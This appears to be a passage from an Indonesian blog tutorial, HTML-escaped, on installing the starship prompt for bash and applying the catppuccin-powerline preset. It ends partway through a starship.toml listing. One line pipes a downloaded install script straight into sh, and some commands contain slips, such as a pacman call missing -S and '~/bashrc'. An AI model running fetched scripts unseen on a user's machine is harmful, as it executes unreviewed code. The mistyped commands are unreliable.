Konfigurasi &lt;strong&gt;starship&lt;/strong&gt;: &lt;a href=&quot;https://starship.rs/config/&quot; target=&quot;_blank&quot;&gt;https://starship.rs/config/&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;a href=&quot;https://github.com/starship/starship&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;starship&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;starship&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;section&gt;&lt;h3&gt;Installation&lt;a href=&quot;#installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Pertama, kita &lt;em&gt;install&lt;/em&gt; &lt;strong&gt;starship&lt;/strong&gt; terlebih dahulu:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-S&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;starship&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau via &lt;em&gt;script&lt;/em&gt; dari website-nya langsung juga bisa:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;curl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-sS&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;https://starship.rs/install.sh&lt;/span&gt;&lt;span&gt; | &lt;/span&gt;&lt;span&gt;sh&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Pastikan &lt;strong&gt;starship&lt;/strong&gt; sudah terpasang dengan mengecek versinya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;starship&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--version&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;starship version checking&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;266&quot; src=&quot;/_astro/ss1.BGWZBc_-_nCJUr.webp&quot; /&gt;&lt;figcaption&gt;starship version checking&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Setup The Shell&lt;a href=&quot;#setup-the-shell&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Saya menggunaan shell bash, jadi untuk men-&lt;em&gt;setup&lt;/em&gt; &lt;strong&gt;starship&lt;/strong&gt; di bash adalah dengan menambahkan baris berikut ke &lt;code&gt;~/bashrc&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;eval&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;$(&lt;/span&gt;&lt;span&gt;starship&lt;/span&gt;&lt;span&gt; init bash)&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Setelah itu, kita bisa me-&lt;em&gt;restart&lt;/em&gt; terminal atau &lt;em&gt;shell session&lt;/em&gt; kita untuk melihat perubahannya.
Perhatikan, sekarang, shell-nya sudah berubah, bukan?&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;starship setup&quot; loading=&quot;lazy&quot; width=&quot;249&quot; height=&quot;157&quot; src=&quot;/_astro/ss2.AIQv5z2P_Z1Wb4FE.webp&quot; /&gt;&lt;figcaption&gt;starship setup&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Sampai di sini, jika kalian sudah merasa cukup dengan tampilan shell yang baru, maka tidak perlu ke bagian berikutnya (kustomisasi).
Dengan kata lain, bagian &lt;em&gt;customization&lt;/em&gt; di bawah ini bersifat opsional.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Configuration&lt;a href=&quot;#configuration&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Fyi, sebelumnya, saya juga sudah pernah menulis artikel yang membahas cara mengkonfigurasi bash shell, tapi menggunakan &lt;strong&gt;“&lt;a href=&quot;https://github.com/andresgongora/synth-shell&quot; target=&quot;_blank&quot;&gt;synth-shell&lt;/a&gt;”&lt;/strong&gt;:&lt;/p&gt;&lt;a href=&quot;/posts/tech/kittyconfig/&quot;&gt;&lt;div&gt;&lt;div&gt;Configuring Kitty &amp;amp; Bash&lt;/div&gt;&lt;div&gt;&lt;span&gt;2024-09-10&lt;/span&gt;&lt;span&gt;kitty&lt;/span&gt;&lt;span&gt;&lt;span&gt;#terminal&lt;/span&gt;&lt;span&gt;#linux&lt;/span&gt;&lt;span&gt;#kitty&lt;/span&gt;&lt;span&gt;#bash&lt;/span&gt;&lt;span&gt;#shell&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;335&quot; src=&quot;/_astro/ss1.B1iXFplk_O2cfd.webp&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;Sekarang, kita akan melakukan beberapa konfigurasi. Kita tentu saja dapat mengkonfigurasi &lt;strong&gt;starship&lt;/strong&gt; seperti apa yang kita inginkan.
Namun, pada bagian ini, saya hanya akan mengkonfigurasi preset-nya saja ke “catputccin-powerline”.
Berikut langkah-langkahnya:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Install&lt;/em&gt; Nerd Font&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Via package manager:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ttf-jetbrains-mono-nerd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ttf-nerd-fonts-symbols&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau langsung dari website-nya: &lt;a href=&quot;https://www.nerdfonts.com/font-downloads&quot; target=&quot;_blank&quot;&gt;https://www.nerdfonts.com/font-downloads&lt;/a&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Download &lt;strong&gt;“JetBrainsMono Nerd Font”&lt;/strong&gt; &amp;amp; &lt;strong&gt;“Symbols Nerd Font”&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Extract dan masukkan semua file *&lt;strong&gt;.ttf&lt;/strong&gt; ke direktori &lt;code&gt;~/.fonts&lt;/code&gt; (buat terlebih dahulu jika belum ada).&lt;/li&gt;
&lt;/ul&gt;&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Install&lt;/em&gt; preset catputccin-powerline&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;starship&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;preset&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;catppuccin-powerline&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-o&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/.config/starship.toml&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;em&gt;By default&lt;/em&gt;, preset yang ter-&lt;em&gt;install&lt;/em&gt; nanti adalah &lt;strong&gt;catputccin mocha&lt;/strong&gt;. Per artikel ini ditulis, ada 4 preset catputccin:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;catputccin_mocha&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;{{&amp;lt; swatches “#f38ba8” “#fab387” “#f9e2af” “#a6e3a1” “#74c7ec” “#b4befe” &amp;gt;}}&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;catputccin_frappe&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;{{&amp;lt; swatches “#e78284” “#ef9f76” “#e5c890” “#a6d189” “#85c1dc” “#babbf1” &amp;gt;}}&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;catputccin_macchiato&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;{{&amp;lt; swatches “#ed8796” “#f5a97f” “#eed49f” “#a6da95” “#7dc4e4” “#b7bdf8” &amp;gt;}}&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;catputccin_latte&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;{{&amp;lt; swatches “#d20f39” “#fe640b” “#df8e1d” “#40a02b” “#209fb5” “#7287fd” &amp;gt;}}&lt;/p&gt;&lt;p&gt;Kita dapat mengubahnya dengan mengganti &lt;em&gt;value&lt;/em&gt; “pallete = ” ke &lt;strong&gt;catputccin_mocha/frappe/macchiato/latte&lt;/strong&gt; di &lt;code&gt;~/.config/starship.toml&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;Berikut adalah isi file &lt;code&gt;starship.toml&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;starship.toml&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;$schema&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&apos;https://starship.rs/config-schema.json&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;format&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[](red)\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;$os\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;$username\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[](bg:peach fg:red)\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;$directory\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[](bg:yellow fg:peach)\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;$git_branch\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;$git_status\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[](fg:yellow bg:green)\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;$c\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;$rust\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;$golang\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;$nodejs\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;$php\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;$java\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;$kotlin\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;$haskell\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;$python\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[](fg:green bg:sapphire)\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;$conda\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[](fg:sapphire bg:lavender)\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;$time\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[ ](fg:lavender)\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;$cmd_duration\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;$line_break\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;$character&quot;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;palette&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&apos;catppuccin_mocha&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;os&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;disabled&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;style&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;bg:red fg:crust&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;37&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;os&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;symbols&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;38&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Windows&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;39&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ubuntu&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;󰕈&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;40&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;SUSE&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;41&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Raspbian&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;󰐿&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;42&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Mint&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;󰣭&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;43&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Macos&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;󰀵&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;44&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Manjaro&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;45&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Linux&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;󰌽&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;46&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Gentoo&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;󰣨&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;47&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Fedora&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;󰣛&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;48&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Alpine&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;49&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Amazon&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;50&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Android&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;51&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Arch&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;󰣇&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;52&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Artix&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;󰣇&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;53&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;CentOS&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;54&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Debian&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;󰣚&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;55&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Redhat&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;󱄛&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;56&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;RedHatEnterprise&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;󱄛&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;57&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;58&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;username&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;59&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;show_always&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;60&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;style_user&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;bg:red fg:crust&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;61&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;style_root&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;bg:red fg:crust&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;62&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;format&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&apos;[ $user]($style)&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;63&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;64&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;directory&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;65&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;style&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;bg:peach fg:crust&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;66&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;format&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;[ $path ]($style)&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;67&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;truncation_length&lt;/span&gt;&lt;span&gt; = 